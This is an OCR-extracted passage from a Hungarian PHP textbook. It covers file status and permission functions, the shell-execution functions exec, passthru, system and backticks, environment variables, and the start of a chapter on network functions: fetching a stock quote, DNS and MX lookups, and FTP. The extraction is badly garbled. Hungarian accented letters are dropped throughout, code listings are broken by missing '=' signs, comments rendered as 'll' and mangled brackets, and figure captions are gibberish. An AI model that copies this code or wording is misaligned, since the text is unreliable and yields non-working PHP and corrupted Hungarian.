A fileatime () s a filemtime() f ggvny a fjlhoz val utols hozzfrs, illetve a fjl utols mdostsnak idblyegt
adja vissza. Annak rdekben, hogy emberi szemmel is olvashat idpontot jelentsnk meg, a date () fggvnnyel formztuk
a kt idblyeget. Egyes opercis rendszereken - az ltaluk trolt informciktl fggen -ugyanazt az rtket adja vissza ez
a kt fggvny.
A fileowner() s a filegroup ( ) fggvny a fjl felhasznli azonostjt { uid) s csoportazonostjt (gid) adja vissza. Ezeket
az azonostkat a posix _getpwuid (),illetve a posix_getgrgid () fggvnnyel lehet nevekk alaktani, gy egybl knnyebben
olvashatk lesznek. Ezek a fggvnyek paramterknt az uid-et vagy a gid-et fogadva a felhasznl- vagy a csoportinformcik asz
szaciativ tmbjt adjk vissza, amely a felhasznl vagy a csoport nevt tartalmazza az ltalunk a kdban hasznlt formban.
A fileperros() a fjljogosultsgokat adja vissza. A decoct() fggvnnyel oktlis szmm alaktottuk ket, hogy a Unix
felhasznJk szmra ismersebb formt ltsenek.
A filetype() fggvny a vizsglt fjl tpusrl ad informcit. A fggvny lehetsges visszatrsi rtkei: fifo,char, dir,
block, link, file s unknown (ismeretlen).

A filesize() fggvny a fjl bjtokban kifejezett mrett adja vissza.


A fggvnyek msodik csoporga- is _dir(),is_executable(),is _file(), is_link(),is_readable() s is
writable () -a fjlnak az egyes fggvnyek nevben szerepl tulajdonsgait teszteli. Visszatrsi rtkk az eredmnytl

fggen true vagy false.

303

304

19

19. fejezet

Ugyanezen informcik nagy rszt a stat () fggvnnyel is sszegyjthetnnk. Ha radunk neki egy fjlt, a fentiekhez hason
l adatokat tartalmaz tmbt kapunk vissza. Az lstat () fggvny hasonl, de szimbolikus linkekhez (symlink) hasznlhat.
A fjlllapotfggvnyek futtatsa viszonylag idignyes. Eredmnyeik ezrt a gyorsttrba kerlnek. Ha szeretnnk a fjlin
formcikat valamilyen vltoztats elre s utn sszehasonltani, a
clearstatcache();

fggvny meghvsval elszr trlni kell a korbbi eredmnyeket. Ha az elz kdot valamilyen fjladat megvltoztatsa
eltt s utn szeretnnk hasznlni, az aktulis adatok beszerzse rdekben e fggvny meghvsval kell kezdeni a kdot.

Fjltulajdonsgok mdostsa
A fjltulajdonsgokat nem csak megrekinteni, hanem mdostani is lehet.
A chgrp(fajl, csoport), a chrnod(fajl, jogosultsagok) s a chown (fajl, felhasznalo) fggvny
a unixos megfeleljhez hasonlan viselkedik. Windowsos rendszereken ezen fggvnyek egyike sem fog mkdni, noha
a chown() ott is lefut, s mindig true rtkkel tr vissza.
A chgrp() fggvny a neki radott fjl csoportjt vltoztatja meg. Hasznlatval csak olyan csoportra lehet vltani, ame
lyiknek a felhasznl tagja (kivve root felhasznl esetn).
A chrnod () fggvny a f:ijl jogosultsgait mdostja. A fggvnynek tadoct jogosultsgok a szoksos, unixos chrnod form
ban kell, hogy legyenek. O (nulla) eltaggal kell elltni ket jelezvn, hogy oktlis szmrl van sz, mint az albbi pldban:
chmod('valamilyen_fajl.txt',

0777);

A chown () fggvnnyel a fjl tulajdonost vltoztathatjuk meg. Csak akkor hasznlhat, ha a kdot futtat felhasznl
root, aminek viszont csak akkor szabad bekvetkeznie, ha rendszergazdai feladat vgrehajtsa cljbl szndkosan, a parancs
sorbl futtatjuk a kdot.

Fjlok ltrehozsa, trlse s thelyezse


A fjlrendszer fggvnyeivel ltrehozhatunk, thelyezhetnk s trlhetnk fjlokat.
Kezdjk a legegyszerbbel, s hozzunk ltre egy fjlt, vagy vltozrassuk meg utols mdostsnak az idpontjt a touch ()
fggvny segtsgve!! Ez a Unix touch parancshoz hasonlan mkdik. Prototpusa a kvetkez:
bool touch (stn.ng dajl,

[int J.dopont

[,

int adott idopont)))

Ha a fjl mr ltezik, utols mdostsnak idpontja a pontos idre vagy a msodik - opcionlis -paramterben megha
trozott idpontra vltozik. Ha szetetnnk megadni ezt az idpontot, idblyeg formtumban kell megrennnk. Ha a fjl nem
ltezik, a rendszer ltrehozza. A f:ijlhoz val utols hozzfrs idpontja is megvltozik: alaprtelmezsben a rendszer pontos
idejre vagy az opcionlis adott_i dopo nt paramterben meghatrozott idblyegre.
Fjlokat az unlink() fggvnnyel trlhetnk. (Jegyezzk meg. hogy a fggvny neve vletlenl semdelete-ilyen nev
fggvny ugyanis nem ltezik!) A kvetkezkppen hasznljuk:
unlink($fajlnev);

Fjlokat a copy () s a rename () fggvnnyel tudunk msolni, illetve thelyezni az albbiak szerint:
copy($forras_eleresi_utvonal,
rename($regi fajl,

$cel eleresi_utvonal);

$uj_fajl);

Emlkezhetnk, hogy a copy() fggvnyt mr hasznltuk a 19.2 pldakdban.


A rename ()ketts feladatot lt el: mivel a PHP nem rendelkezik thelyez fggvnnyel, az tnevezsen kvl erre a funk
cira is ezt hasznljuk. Az, hogy a fjlokat a rename( ) hasznlatakor az egyik fjlrendszerbl a msikba thelyezzk, vagy
fellrjuk ket, az opercis rendszertl fgg. ezrt rdemes a szerveren elszr kiprblni a fggvny hatst. gyeljnk a fjl
nvhez hasznlt elrsi tvonalra is! Relatv elrsi tvonal esetn a kdhoz, nem pedig az eredeti fjlhoz kell viszonytani azt.

Programfuttat fggvnyek hasznlata


Vegynk bcst a fjlrendszer fggvnyeitl, s fordtsuk figyelmnket a szerveren parancsok futtatsra alkalmas fggvnyekrel
Ezek a parancsok akkor hasznosak, amikor webalap felhasznli felletet kvnunk ltrehozni meglv, parancssor alap
rendszerhez. Akkor fogunk dolgozni velk, amikor a knyv ksbbi rszben a gyakorlati projektek megvalstshoz rnk.
Ngy f mdszer ltezik arra, hogy parancsot hajtsunk vgre a webszerveren. V iszonylag hasonl mdszerekrl van sz, m
aprbb klnbsgek lteznek kzttk:
ex ec() -Az ex ec() fggvny prototpusa a kvetkez:
string exec (string parancs

[,

array &eredmeny

[,

int &visszateresi_ertek)))

A fjlrendszer s a kiszolgl elrse

305

tadjuk a fggvnynek a vgrehajtani kvnt parancsot, pldul gy:


exec("ls -la");

Az exec () fggvnynek nincsen kzvetlen kimenete.A vgrehajtott parancs eredmnynek utols sort adja vissza. Ha
ereeimeny-knt radunk a fggvnynek egy vlrozt, a kimenet minden egyes sort tartalmaz tmbt kapunk vissza.
Ha visszateresi_ertek-knt is radunk egy vltozt, a visszatrsi kdot kapjuk meg.
passthru ()-A passthru () fggvny prototpusa a kvetkezkppen nz ki:
void passthru (string parancs

[,

int visszateresi_ertek))

A pass thru () fggvny a bngszn keresztl kzvetlenl kiratja kimenett. (Ez a funkci akkor igazn hasznos, ha
a kimenet binris- pldul valamilyen kpadat.) Nincs visszatrsi rtke.
Paramcerei ugyangy mkdnek, mint az exe c() fggvny.
system () -A system () fggvny az albbi prototpussal rendelkezik:
string system (string parancs

[,

int visszateresi_ertek))

A fggvny kiraga a parancs eredmnyt a bngszbe. Minden sor utn megprblja megjelenteni a kimenetet (felt
ve, hogy szervermodulknt futtatjuk a PHP-t), ebben eltr a passthru () fggvnytL Visszatrsi rtke a kimenet
utols sora (sikeres mkds esetn) vagy false (hiba esetn).
Paramcerei ugyangy mkdnek, mint a tbbi fggvny.
Fordtott idzjelek ( ')-Az l. fejezetben rviden emltettk a fordtott idzjeleket (backtick). Ezek tulajdonkppen
vgrehajt opertorok.
Nincsen kzvetlen kimenetk.A parancs vgrehajtsnak eredmnyt karakterlncknt kapjuk vissza, amit azutn meg
jelenthetnk, vagy brmi mst is kezdhetnk vele.
Bonyolultabb ignyek esetn a pope n (),a proc_open() s a proc_close () fggvnyt is segtsgl hvhatjuk. Ezek
kls folyamatokat s adatokat kezelnek.A proc_open () s a proc_ close () a PHP 4.3-as verzijhoz lett hozzadva.
A 19.7 pldakd azt szemllteti, hogyan lehet a ngy klnbz mdszert egyenrtken hasznlni.
19.7 pldakd: progex. php -

Fjlllapoifggvnyek s eredmnyk

<?php
chdir('feltoltesek/');

11111 exec verzi


echo '<pre>';

ll unix
exec('ls -la',

$eredmeny);

ll windows
ll exec('dir',

$eredmeny);

foreach ($eredmeny as $sor)


echo "$sor\n";
echo '</pre>';
echo '<br><hr><br>';

11111 passthru verzi


echo '<pre>';

ll unix
passthru('ls -la')

ll windows
ll passthru('dir');
echo '</pre>';
echo '<br><hr><br>';

!!lll system verzi


echo '<pre>';

ll unix

19

306

19. fejezet

$eredmeny = system('ls -la');

ll windows

19

ll $eredmeny = system('dir');
echo '</pre>';
echo

'<br><hr><br>';

/////fordtott idzjel verzi


echo

'<pre>';

ll unix
$eredmeny = 'ls -al';

ll windowsO
ll $eredmeny = 'dir';
echo $eredmeny;
echo '</pre>';
?

>

Brmelyik megkzeltst alkalmazhatjuk a korbban ltott knyvtrtallz kd alternavjaknt. De meg kell emlte
nnk a kls fggvnyek hasznlatnak a fenti kd ltal is kesen bizonytott mellkhatst: kdunk nem lesz hordozhat
(platformfggetlen). A Unix parancsok hasznlata azt eredmnyezi, hogy Windowsan egyszern nem fog futni a kd.
Ha szetetnnk a futtatni kvnt parancsba felhasznlk ltal elkldtt adatokat beilleszteni,elszr mindig alkalmazzuk
rjuk az escapeshellcmd() fggvnyt! gy megelzhet, hogy a felhasznlk rosszindulatbl (vagy ms motivcibl) pa
rancsokat futtassanak rendszernkn. A kvetkezkppen hvhatjuk meg ezt a fggvnyt:
system(escapeshellcmd($parancs));

Az escapeshellarg () fggvnnyel a hjparancsnak tadni kvnt paramtereket emelhetjk ki vdkarakterekkel.

Krnyezeti vltozk elrse: a g e t e n v ( ) s a p u t e n v ( ) fggvny


Vgezetl nzzk mg meg, hogyan dolgozhatunk PHP-bl a krnyezeti vltozkkal! Kt fggvny szolgl erre: a getenv (),
amivel lekrhetjk,s a putenv (),amivel bellthatjuk a krnyezeti vltozkat.
A PHP krnyezeti vltozinak listjt a phpinfo ( ) futtatsval kapjuk meg. Egyes vltozk hasznosabbak,msikak ke
vsb hasznosak lesznek munkk sorn. A
getenv("HTTP_REFERER");

fggvny pldul annak az oldalnak az URL-jt adja meg, ahonnan a felhasznl az aktulis oldalra rkezett.
A putenv() fggvnnyel szksg esetn be is llrhatjuk a krnyezeti vltozkat, ahogy tesszk az albbi pldban:
$home

"/home/nobody";

putenv (" HOME=$home ");

Ha rendszergazdaknt szeretnnk korltozni,hogy milyen krnyezeti vltozkat llthassanak be a programozk, a php.


ini-beli sa fe_mode_allowed_env_ v ars direktvban tehetjk ezt meg. Amikor biztonsgos mdban fut a PHP, a fel

hasznlk csak azokat a krnyezeti vltozkat mdosthatjk, amelyeknek eltagja fel van sorolva a direktvban.

Megjegyzs: Ha szeretnnk tbbet megtudni arrl, mit jelkpeznek az egyes krnyezeti vltozk, tekintsk t a http:/l
hoohoo.ncsa.uiuc.edu/ egi/env.html oldalon elrhet CGI-speci.fikcit!

Tovbbi olvasnival
A PHP fjlrendszerfggvnyeinek tbbsge

az

ugyanolyan nev opercisrendszer-fggvnyeket kpezi le. Unix-felhasznlk

a man oldalakon tallnak tovbbi informcit.

Hogyan tovbb
A 20. fejezetben elsajttjuk a PHP hlzati s protokollfggvnyeinek hasznlatr, hogy sajt webszervernkn kvl ms
rendszereket is elrjnk. Ezzel j tvlatok nylnak meg kdjaink eltt.

20
Hlzati s protokollfggvnyek
hasznlata
A fejezetben a PHP olyan hlzati fggvnyeit ismerjk meg, amelyek lehetv teszik kdunknak, hogy vele kapcsolatba
lpjnk a vilghl tbbi rszvel. Az interneten erforrsok s informcik szles kre rhet el, s hasznlatukhoz tbbfle
protokoll ll rendelkezsnkre.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
A hasznlhat protokollok ttekintse
E-mail kldse s olvassa
Ms weboldalak tartalmnak felhasznlsa
H lzati keresfggvnyek hasznlata
FTP hasznlata

A hasznlhat protokollok ttekintse


A protokollok adott szitucira vonatkoz kommunikcis szablyok. Amikor pldul ta llkozunk valakivel, tudjuk, mi az
illem (protokoll): ksznnk, kezet fogunk (esetleg megpusziljuk egymst), beszlgetnk egy ideig, majd elksznnk egy
mstl. Klnbz helyzetek klnbz protokollokat kvetelnek meg. A ms kultrkbl rkez emberek klnbz illem
szablyokat kvethetnek, ami megneheztheti a kapcsolattartst. A szmtgpes hlzati protokollokat is valahogy gy kell
elkpzelni.
Az emberi illemszablyokhoz hasonlan a klnbz helyzetek s alkalmazsok eltr szmtgpes protokollokat hasz
nlnak. Amikor pldul weboldalakat krnk s fogadunk, a Hypertext Transfer Protocolt (hiperszveg-tviteli protokoll
- HTTP) hasznljuk: szmitgpnk dokumentumot (pldul HTML vagy PHP fijlt) kr egy webszervertl, s a krsre
a

kiszolgl a dokumentum elkldsvel vlaszol. Bizonyra ismers szmunkra a File Transfer Protocol (fjltviteli protokoll

- FTP) is, amivel llomnyokat tovbbthatunk a hlzat szmtgpei kztt. Sok egyb protokoll is hasznlhat.
A protokollok s egyb internetes szabvnyok tbbsgt a

Request For Comments (RFC) nev dokumentumokban rjk le.

(Az RFC krlbelli jelentse: megjegyzsek krse, felhvs vlemnyezsre.) A protokollokat az Internet Engineering Task
Force (IETF ) nev szvetsg hatrozza meg. Az RFC-k szles krben elrhetk az interneten. Kiindulsknt rdemes felke
resni a http://www.rfc-editor.org/ cmen elrhet RFC Editor oldalt.
Ha valamely protokoll hasznlata sorn problmkba tkznk, a protokollokat definil dokumentumok tekinthetk
olyan hiteles forrsoknak, amelyek sok esetben segtsgnkre lesznek a kdunkban lv hibk kijavtsban. Kszljnk azon
ban fel arra, hogy ezek a dokumentumok igen rszletesek, gyakran tbb szz oldalt is kitesznek!
Pldaknt emltsnk meg kt jl ismert RFC-t! Az RFC261 6 a HTTP /l. l protokollt, az RFC822 az internetes e-mail
zenetek formtumt rja le.
A fejezetben e protokollok hasznlata szempontjbl dolgozunk a PHP-vel. Egszen pontosan azt vizsgljuk meg, hogy
lehet e-mailt kldeni SMTP-vel, olvasni POP3-mal s IMAP4-gyel, hogyan kapcsoldhatunk ms webszerverekhez HTTP
vel, illetve hogyan valsthatunk meg fjltvitelt FTP-vel.

Email kldse s olvassa


Az e-mail klds elsdleges eszkze PHP-ben az egyszer ma il () fggvny. A

Karakterlncok kezelse s regulris kifejezsek

cm 4. fejezetben megvizsgltuk a fggvny mkdst, gy ezzel itt most nem foglalkozunk. A mai l () fggvny a Simple
Mail Transfer Protocollal (egyszer levltovbbrsi protokoll- SMTP) kldi az e-maileket.

20

308

20. fejezet

Ingyenesen elrhet osztlyok szles vlasztka ll rendelkezsnkre a ma il(} funkciinak kibvtsre. A Levelezlista
kezel alkalmazs fejlesztse cm 30. fejezetben egy kiegszt (add-on) osztly segtsgvel HTML csatolmnyokat is kldnk
majd e-mailjeinkkel. Az SMTP kizrlag e-mail kldsre szolgl. Az RFC2060-ban lert Internet Message Access Protocolt
(internetes zenetelrsi protokoll- IMAP4), illetve az RFC1939-es s az STD0053-as dokumentumban lert Post Office
Protocolt (postafik protokoll- POP3) hasznljuk az zenet levelezszerverrl val beolvassra. Ezek a protokollok kldsre

'

nem alkalmasak.
Az IMAP4 protokollt kiszolgln trolt e-mailek olvassra s kezelsre hasznlhatjuk. Az IMAP4 kifinomultabb funkci
kat knl a POP3-nl, amit jellemzen csak az e-mailek kliensre tltsre s a kiszolglrl val trlsre hasznlnak.

20

A PHP-hoz IMAP4 knyvtr tartozik, ami POP3- s Network News Transfer Protocol- (hlzati hrtviteli protokoll
NNTP), illetve IMAP4-kapcsolat ltrehozsra hasznlhat.
A knyvtr hasznlatt a

Webalap levelezszolgltats ltrehozsa cm 29. fejezetben kifejlesztett projekt sorn fogjuk meg

ismerni.

Ms weboldalak tartalmnak felhasznlsa


Az internetben az egyik legnagyszerbb dolog, hogy lehetv teszi meglv szolgltatsok s tartalmak hasznlatr, mdost
st s sajt oldalainkba val begyazst. PHP-vel rendkvl egyszeren megtehetjk mindezt. Nzznk pldt ennek szemll
tetsre!
Kpzeljk el azt, hogy a vllalat, ahol dolgozunk, szeretn megjelenteni honlapjn sajt rszvnynek rfolyamt! Ez az
informci az adott rszvnyt jegyz tzsde honlapjn megtallhat, de hogyan hasznlhatjuk fel?
Elszr is dertsk ki a kvnt informci eredeti, forrs URL-jt! Ha ezzel risztban vagyunk, akkor minden alkalommal,
amikor valaki felkeresi oldalunkat, kapcsolatot nyirunk ehhez az URL-hez, lekrjk az oldalt, s kinyerjk belle a bennnket
rdekl informcit.
Pldaknt olyan kdot lltottunk ssze, amely az AMEX weboldalrl Icinyeri a rszvnyrfolyamot, majd tformzza.
A plda kedvrt az Amazon.com aktulis rfolyamt kvnjuk oldalunkba beilleszteni. (Msmilyen tartalmat is beilleszthe
tnk, a folyamat mkdsi elve akkor is ugyanez lesz.)
A 20.1 pldakd egy msik weboldal ltal nyjtott webes szolgltatst felhasznlva jelenti meg az adatokat sajt olda
lunkon.
20.1 pldakd: adat_kikereses. php-A

kd a $reszveny_kod vltozban trolt rszvnykd ltal megadott rszvny

rJolyamt nyeri ki a NASDAQ adataibl


<html>
<head>
<title>Rszvnyrfolyam a NASDAQ-rl</title>
</head>
<body>
<?php
/la kvnt rszvny kivlasztsa
$reszveny_kod

'AMZN';

echo '<hl>A ' . $reszveny_kod . ' rszvny rfolyama</hl>';

$url = 'http://finance.yahoo.com/d/quotes.csv'
'?s=' . $reszveny_kod . '&e=.csv&f=slldltlclohgv';

if (!($tartalom = file_get contents($url}}}


die('Nem sikerlt megnyitni az oldalt:

' . $url};

ll relevns adat kinyerse


list($reszveny_kod,
$datum

$arfolyam,

trim($datum,

$ido = trim($ido,

'"'};

""};

$datum,

$ido}

explode(', ',

$tartalom};

Hlzaci s protokollfggvnyek hasznlata

ech o '<p>'
echo

$reszveny kod . '


_

'<p>Utols

utols

kts idpontja:

'

ktsi rfolyama:
$datum .

',

'

'

$ido

$arfolyam

309

'</p>';

'</p>';

ll forrs megjellse
echo '<p>Az adatok forrsa:
"'>'

$url

<br /><a href="'

$url .

'</a> .</p>';

?>
</body>

20

</html>

A 20.1 pldakd egy futtatsnak kimenere a 20.1 brn lrhat.

l -T_,;;...;:_._

--.=--o,- '.!1:

--_...

A Al\IZN rszvny rfolyam


"AMZN"....Ok.olltti..",.__ 14$(1'/
U'do!kot'1l'l010,400,.

F-....fM4!Wiese"eA
.
)4Z;S.bo-..,..".,.ldl!ls!*r

20.1 bra:

Az adat_kikereses. php kd regulris kifejezssel nyeri ki az rfolyamadatot


a tzsdrl begyjttt informcibl.

A kd maga viszonylag magtl rtetd; igazbl nem is hasznl szmunkra ismereden fggvnyeket, csupn ltalunk mg
nem ltott mdon alkalmazza azokat.
Emlkezhetnk r, hogy az Adatok

trolsa s visszakeresse cm 3. fejezetben, amikor a fjlbl olvassrl volt sz, eml

tettk: fjlkezel fggvnyekkel olvasharunk adott URL tartalmbL Pontosan ezt tettk ebben az esetben. A file_get_
contents()

fggvny meghvsa:

if (!($tartalom = file_get_contents ($url)))


a $tartalom

vltozban eltrolva adja vissza az adott URL alatt elrhet weboldal reljes szvegt.

A fjlkezel fggvnyekkel sok mindent megtehetnk PHP-ben. A mostani plda egyszeren egy weboldalt tlt be
HTTP-n keresztl, de pontosan ugyangy lphetnnk kapcsolatba ms kiszolglkkal HTTPS, FTP vagy ms protokollal
is. Ms feladatokhoz ugyanakkor ennl specilisabb megkzeltsre lehet szksg. Egyes FTP-funkcik a konkrt FTP fgg
vnyekben rhetk el, fopen( ) s ms fjlkezel fggvnyekben nem. A fejezet egy ksbbi rszben pldt ltunk az FTP
fggvnyek hasznlatra is. Egyes HTTP- vagy HTTPS-feladatokhoz a cURL knyvtr hasznlatra lehet szksg. Ezzel
a knyvtrral bejelentkezhetnk a weboldalakra, s nhny oldalon keresztl utnozhatjuk az egyes felhasznJk viselkedst.
Miutn a file_get _contents() fggvnnyel megszereztk az oldal szvegt, a list () segtsgvel tudjuk megkeresni
a

bennnket rdekl rszt:

list($reszveny_kod,
$datum

$ido

trim($ido,

$arfolyam,

trim($datum,

ech o '<p>' .

$ido)

explode(' , ',

$tartalom);

'"');

$reszveny_ kod . '

ech o '<p>Utols

$datum,

'" ' );

utols

kts idpontja:

'

ktsi rtolyama:
$datum .

',

'

$ido

$arfolyam

'</p>' ;

'</p>';

Ennyi az egsz!
A fenti megkzelts sokfle clra hasznlhat, akr helyi idjrs-jelentst is begyazharunk az oldalunkba.
A mdszer azt is lehetv teszi, hogy klnbz forrsokbl szrmaz informcikat kombinlva ne egyszeren csak to
vbbadjuk a megszerzett adatokat. J plda erre Philip Greenspun hres kdja, amely Bill Gates vagyonrl ad folyamatosan
frissl tjkoztatst (Bill Gates Wealth Clock; http://philip.greenspun.com/WealthCiock).
Az oldal kt forrsbl gyjt adatot. Az egyik a U.S. Census Bureau, vagyis az USA Npszmllsi Hivatalnak weboldala,
ahonnan az orszg llekszmt veszi. A Microsoft-rszvnyek aktulis rfolyamt begyjtve, majd a kt adatot egytt felhasznlva
-s sajt markns vlemnyt napvilgra juttatva - j informcit llt el: becslst ad Bill Gates pillanatnyi vagyonnak rtkrl.
Egy apr megjegyzs: ha zleti clra hasznlunk ilyen kls informciforrst, rdemes egyeztetni a forrssal vagy jogi tan
csot krni. Egyes esetekben szellemi rulajdonjoggal kapcsolatos krdsek is szba jhetnek.

310

20.fezet

Ha ehhez hasonl kdot runk, adatok tadsra is szksgnk lehet. Ha pldul kls URL-hez csatlakozunk, olyan para
mtereket adharunk t, amelyeket alapesetben a felhasznl gpeine be. Ha ezt tesszk, rdemes az urlencode () fggvny
nyel dolgozni. Ez fogja a neki tadott karakterlncot, s az URL-eknek megfelel formtumra alakga; pldul a szkzket
plusz jell vltoztaga. A kvetkezkppen hvhatjuk meg:
$kodolt_parameter = urlencode($parameter);

Ennek az ltalnos megoldsnak egyetlen problm:ija, hogy az oldalnak, ahonnan az informcit beszerezzk, mdosulhar
az adatformtuma, s kdunk tbb nem fog mkdni.

20

Hlzati keresfggvnyek hasznlata


A PHP szmos olyan hlzati "keresfggvnyt" kinl, amellyel informcit gyjthetnk a hosztnevekrl, az IP-cmekrl s
a levelezsrL Ha pldul olyan gyjtoldalt szeretnnk ltrehozni, rnint a Yahoo! {vagy Magyarorszgon a startlap.hu), a be
kldtt URL-eket rdemes automatikusan ellenrizni, hogy az URL-hez tartoz hosztadatok, illetve az oldal elrhetsgi
adatai valsak-e. Ezzel elkerlhegk, hogy nem ltez oldalt vagy hibs e-mail cmet vegynk fel az oldal adatbzisba.
A 20.2 pldakd egy ilyen gyjtoldal ajnlrlapjnak a kdjt tartalmazza.
20.2 pldakd: oldalajanlo_urlap. html- Linkajnl rlap HMTL kdja
<html>
<head>
<title>Oldalad ajnlsa</title>
</head>
<body>
<hl>Oldal ajnlsa</hl>
<form method=post action="oldalajanlo urlap.php">

URL:

<input type=text name="url" size=30 value="http://"><br />

Kapcsolattart e-mail cime: <input type=text name="email" size=23><br />


<input type="submit" name="Oldal ajnlsa">
</form>
</body>
</html>

Ennek az egyszer rlapnak a bngszbeli kpt a 20.2 brn lthaguk.

Oldal ajnlsa

;:==.;.;---= ===]

20.2 bra: Oldal ajnlsakor ltalban annak cmt (URL) s a kapcsolattart elrhetsgt kell megadni,

hogy a linkgyjtemny kezeli rtestst tudjanak kldeni az oldal hozzadsrl.

Amikor valak a gombra kattintva elkldi az adatokat, elszr is azt szeretnnk ellenrizni, hogy a megadott URL, illetve az
e-mail cm hoszt rsze valdi gpen fut-e. rtunk egy kdot, ami pontosan ezeket ellenrzi, s arninek a kimenere a 20.3 brn
lthat.

Hlzati s protokollfggvnyek hasznlata

Az

311

oldalajnls eredmnyf'j

AMAIP--Jfj.$6.111 119
A&e-w.luilllliiiW...._k.oftomlld.

...
..,Asnm.OOOOI..DoiAJI.. ('()MASPldXJGOOGLE:.\&AL COM

ASPMXOOOOl.E.\tAD..OOMOOOGI..EMAll.COMASPMX.LGOIXit.COM
N..TI.ASNX.LOCIOGLcm.tALrOCXXH..i..COll:

!oioodn ................ __
.., ...... ......wt_
-........ .......

20.3 bra: A kdnak ez a vltozata megjelenti az URL s az e-mail cm hosztneveinek ellenrzsekor


kapott eredmnyeket. Az lesben hasznlt vltozat nem felttlenl kell, hogy tnylegesen kirja
ezeket az informcikat, de rdemes ltni, hogy egy kis ellenrzssei mi mindent derthetnk ki.
A fenti ellenrzseket vgrehajt kd a PHP kt hlzati fggvnyt hasznlja. Ez a gethostbyname() s a dns_get
mx(). A teljes kdot a 20.3 pldakd tartalmazza.

20.3 pldakd : oldala j anlo_urlap. php

Az URL-t s az e-mail cmet ellenrz kd

<html>
<head>
<title>Az oldalajnls eredmnyei<ltitle>
<lhead>
<body>
<hl> Az oldalajnls eredmnyei<lhl>
<?php
ll rlapmezk kinyerse
$url = $_REQUEST['url'];
$email =$ REQUEST['email'];
ll Az URL ellenrzse
$url = parse_url($url);
$host = $url['host'];
if(! ($ip = gethostbyname($host))

{
echo 'Az URL-hez tartoz hoszt nem rendelkezik rvnyes IP-cmmel';
exit;

echo "A hoszt IP-cme:

$ip <br>";

ll E-mail cm ellenrzse
$email = explode('@',
$emailhost

$email);

$email[l];

ll megjegyzs:

a dns_get_mx() fggvny a

ll PHP windowsos verziiban nem mkdik


if (!dns_get_mx($emailhost,

$mxhostsarr))

echo 'Az e-mail cmhez nem tartozik rvnyes hoszt';


exit;

20

312

20. fezet

echo

'Az e-mail az albbi hoszton keresztl lett elkldve:

'

foreach ($mxhostsarr as $mx)


echo "$rnx

"

ll Ha eljut idig, akkor minden OK


echo

20

'<br>Minden elkldtt adat rendben van.<br>';

echo 'Ksznjk,

hogy ajnlotta oldalt.<br>'

.'Kollgink rvidesen elltogatnak az oldalra.'

ll Vals kd esetn hozzads a vrakoz oldalak adatbzishoz ...


?>
</body>
</html>

Nzzk vgig egyenknt a kd rdekesebb rszeit!


Elszr is vesszk az URL-t, s tadjuk a parse_url ( ) fggvnynek. A fggvny az URL klnbz rszeinek asszociatv
tmbjt adja vissza. Egy URL az albbi komponensekbl llhat: scheme, user, pass, host, port, path, query s fragment. ltal
ban nincs minden rszre szksgnk, de nzznk egy pldt, hogyan ll ssze ezekbl egy URL!
Tekintsk az albbi URL-t: http://nobody:secret@example.com:80/script.php?variable=value#anchor.
A parse_url() fggvny ltal visszaadott tmbbe ebben az esetben az albbi rtkek kerlnek:
scheme (sma, protokol): http
user (felhasznlnv): nobody
pass ( jelsz): secret
host (kiszolgl): example.com
port (kapcsoldsi port): 80
path (elrsi tvonal a kiszolgln): /script.php
query (a tulajdonkppeni lekrdezs): variable=value
fragment (horgony az oldalon belli ugrshoz): anchor
Az oldalajanlo_urlap.php kdban csak a hoszt rtkre van szksg, amit a kvetkezkppen nyerhetnk ki a tmbbl:
$url = parse url($url);
$host = $url ['host'];

Ezt kveten Iciderthetjk az ehhez a hoszthoz tartoz IP-cmer, amennyiben az benne van a domainnv-szolgltatsban
(DNS). A gethostbyname() fggvnyt hasznljuk erre, ami az IP-cmer adja vissza, illetve amennyiben az nem ltezik,
visszatrsi rtke false lesz:
$ip = gethostbyname($host);

A gethostbyaddr() fggvnnyel fordtva is eljrhatunk, ez ugyanis IP-cmer vr paramterknt, s az ahhoz tartoz


hosztnevet adja vissza. Ha egyms utn meghvjuk ezt a kt fggvnyt, knnyen lehet, hogy ms hosztnevet kapunk, mint
ahonnan kiindultunk. Ez jelentheti azt, hogy az oldal virtulis trhelyszolgltatst vesz ignybe, ahol egy fizikai gp s IP-cm
egynl tbb domainnevet zemeltet.
rvnyes URL esetn tovbblphetnk az e-mail cm ellenrzsre. Az explode() fggvny meghvsval elszr is fel
hasznli nvre s hosztnvre bontjuk az e-mail cmer:
$email = explode('@',

$email);

Semailhost = $email[l);

Miutn gy Icidertettk a cm hoszt rszt, a dns_get_mx() fggvnnyel ellenrizhetjk, hova megy az e-mail:
dns_get_mx($emailhost,

$mxhostsarr);

A fggvny az $mxhostsarr tmbben a megadott cmhez tartoz Maii Exchange- (MX) rekordok halmazr adja vissza.
Az MX-rekordok a DNS-nl vannak eltrolva, s gy kereshetjk ket, mint a hosztneveket. Az MX-rekordban megadott
gp nem szksgszeren az, ahova a levl tnylegesen kerl. Lehet egyszeren egy olyan gp, amely tudja, hova kell irnytani
a levelet. (Mivel egynl tbb ilyen gp is lehet, a fggvny a hosztnv karakterlnca helyett tmbt ad vissza.) Ha nincs MX
rekord a DNS-ben, akkor az e-mailnek nincs hova mennie.
rdemes megjegyezni, hogy a PHP windowsos verziiban a dns _get_ mx ( ) fggvny nem mkdik. Windows alatt hasz
nljuk a PEAR::Net_DNS csomagot, amivel ugyanezt a clt rhetjk el (http:/ l pear.php.net/ package/NET _DNS)!

Hlzati s prorokollfggvnyek hasznlata

313

Ha az ellenrzsek rendben vannak, az rlap adatai bekerlhetnek az adatbzisba, s vrhatjk, hogy valamely kollgok
majdan tnzi az aJnlott oldalt.
A pldban szerepl fggvnyeken tlmenen a checkdnsrr () fggvnyt is hasznlhatnnk. Ez hosztnevet fogad para
mterknt, s abban az esetben tr vissza true rtkkel,ha a DNS-ben megtallhat a hosztnv rekordja.

Biztonsgi ments ksztse vagy fjl tkrzse


A fjltviteli protokollal (FTP) llomnyokat tovbbthatunk egy hlzat szmtgpei kztt. Az fopen (),illetve a PHP
egyb fjlfggvnyei FTP kapcsolat esetn ugyangy hasznlhatk kiszolglhoz csatlakozsra, illetve fjlok kiszolglra s
kiszolglrl val tovbbtsra, mnt HTTP kapcsolatok esetn. Az ltalnos PHP-teleptssel azonban kifejezetten FTP
kapcsolat alatt hasznlhat fggvnyekhez is hozzju tunk.
Ezek a fggvnyek alaprtelmezsben nincsenek beptve az ltalnos teleptsbe. Hasznlatukhoz Unix alatt az
--enable-ftp belltssal kell futtatnunk a PHP configure programjt, majd mg egyszer futtatni kell a make-et is.

